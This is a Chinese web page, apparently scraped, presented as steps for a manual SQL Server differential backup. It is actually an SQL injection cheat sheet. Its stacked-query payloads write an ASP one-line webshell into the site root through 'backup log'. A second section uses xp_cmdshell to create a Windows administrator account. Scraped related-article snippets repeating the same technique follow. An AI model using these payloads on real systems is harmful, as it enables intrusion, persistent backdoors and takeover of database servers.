sqlserver 手工实现差异备份的步骤_MsSql

手工实现差异备份的步骤

字符型:

1、恢复当前库
;alter database 当前库 set RECOVERY FULL--

2、建表cmd
;create table cmd (a image)--

3、备份当前库到D:\cmd1
;backup log 当前库 to disk = 'D:\cmd1' with init--

4、插入一句话代码到创建的表cmd
;insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')-- 

5、备份一句话代码到站点根目录
;backup log 当前库 to disk = 'D:\www_web\oct.asp'--

6、完成
;drop table 创建的表--

数字型

1、恢复当前库
';alter database 当前库 set RECOVERY FULL--

2、创建表cmd
';create table cmd (a image)--

3、备份当前库到D:\cmd1
';backup log 当前库 to disk = 'D:\cmd1' with init--

4、插入一句话代码到创建的表cmd
';insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')-- 

5、备份一句话代码到站点根目录
';backup log 当前库 to disk = 'D:\www_web\oct.asp'--

6、完成
';drop table 创建的表--

sa权限创建管理员用户

1、判断是否有注入;and 1=1 ;and 1=2 
;and user_name()='dbo' 判断当前系统的连接用户是不是sa

2、添加系统的管理员
;exec master.dbo.xp_cmdshell 'net user wk wk90/add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators wk /add';--

逍遥复仇:有工具我是一定不会手工的,麻烦。

时间: 2024-10-15 04:59:19

sqlserver 手工实现差异备份的步骤_MsSql的相关文章

sqlserver 手工实现差异备份的步骤

手工实现差异备份的步骤 字符型: 1.恢复当前库;alter database 当前库 set RECOVERY FULL-- 2.建表cmd;create table cmd (a image)-- 3.备份当前库到D:\cmd1;backup log 当前库 to disk = 'D:\cmd1' with init-- 4.插入一句话代码到创建的表cmd;insert into cmd (a) values ('<%%25**ecute(request("a"))%%25&

sqlserver、mysql获取连接字符串步骤_MsSql

步骤: 一.新建文本文档xxx.txt,修改文件类型为.udl 二.打开该文件,在<提供数据>中找到对应的服务. 三.在连接中选择需要的数据库,并填写相关信息. 四.测试连接,若成功则跳至下一步,失败则是用户信息有误,重新修改. 五.把xxx.udl后缀名改为txt,打开就可以找到连接字符串. 注:这里找到的连接字符串中有provider,可能不支持,如不支持,请改为server

mssql数据库差异备份方法

手工实现差异备份的步骤 字符型: 1.恢复当前库 ;alter database 当前库 set recovery full-- 2.建表cmd ;create table cmd (a image)-- 3.备份当前库到d:cmd1 ;backup log 当前库 to disk = 'd:cmd1' with init-- 4.插入一句话代码到创建的表cmd ;insert into cmd (a) values ('<%%25**ecute(request("a"))%%2

复习一下sql server的差异备份_MsSql

MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少!  差异备份的流程大概这样: 1.完整备份一次(保存位置当然可以改) backup database 库名 to disk = 'c:\ddd.bak';-- 2.创建表并插曲入数据 create table [dbo].[dtest] ([cmd] [image]); insert in

数据库备份 SQLServer的备份和灾难恢复_MsSql

各大服务器硬件厂商(IBM,HP等)提供有很好的数据保护策略(硬件或软件).如大家熟知的RAID磁盘阵列(Redundant Array of Independent Disks)就是很好的数据保护方法.就SQL Server而言,通过维护计划可以制定详细的数据备份计划. 数据备份策略(full backup, differential backup and  transaction log backup) 数据备份是为数据恢复服务的,所以建立数据备份计划之前,应先考虑是否能利用该备份有效的恢复

MSSQL差异备份取系统权限的相关软件下载_MsSql

昨天在网上找资料的时间无意进了一个站,糊里糊涂就进去了,想提权提不起来,后来加上服务商的Q号想社工一下,射了半天得知服务器的安全是绿盟的人给做的 安全,后来就问猪猪有什么提权的方法没,他刚好做了这个动画就给发来过来,在网上查了一下找到了文章,一起拷贝过来.最近忙着学习很少关注这方面的东西, 落后了,落后了...... 下面是是在网上找到的资料和动画.   TEAM里的内部资料放久了,现在不放出来,迟早会有人发掘出来的!既然如此就拿出来大家分享吧! MSSQL差异备份获取webshell 几乎人人

详解SQL Server的差异备份还原

在SQL Server中还原差异备份,需要先还原在差异备份时间点之前的一个完整备份,在还原完整备份时要加上NORECOVERY参数,示例SQL语句如下: RESTORE DATABASE [数据库名称] FROM DISK = N'完整备份文件路径' WITH FILE = 1, NOUNLOAD, STATS = 10, NORECOVERY GO 在Management Studio中对应的选项是: Leave the database non-operational, and do not

SQL Server差异备份简介

此备份和还原主题与所有 SQL Server 数据库相关. 差异备份所基于的是最近一次的完整数据备份. 差异备份仅捕获自该次完整备份后发生更改的数据. 差异备份所基于的完整备份称为差异的"基准". 完整备份(仅复制备份除外)可以用作一系列差异备份的基准,包括数据库备份.部分备份和文件备份. 文件差异备份的基准备份可以包含在完整备份.文件备份或部分备份中. 本主题内容: 优点 差异备份概述 对只读数据库进行差异备份 相关任务 优点 与创建完整备份相比,创建差异备份的速度可能非常快. 差异

差异备份-mssql 全备+差备还原,求帮忙解决!坐等!急!!!

问题描述 mssql 全备+差备还原,求帮忙解决!坐等!急!!! 对数据库做全备与差备的周期性备份,现在要还原数据库,还原的步骤为:最新的全备一份+最新的差备一份,但是在点确认的时候跳出如图的错误提示: 请问该如何解决这个问题?谢谢!!! 解决方案 分享完整备份+差异备份还原数据库的方法:http://www.cnblogs.com/ivanyb/archive/2013/01/23/2873437.html 解决方案二: http://blog.sqlauthority.com/2009/09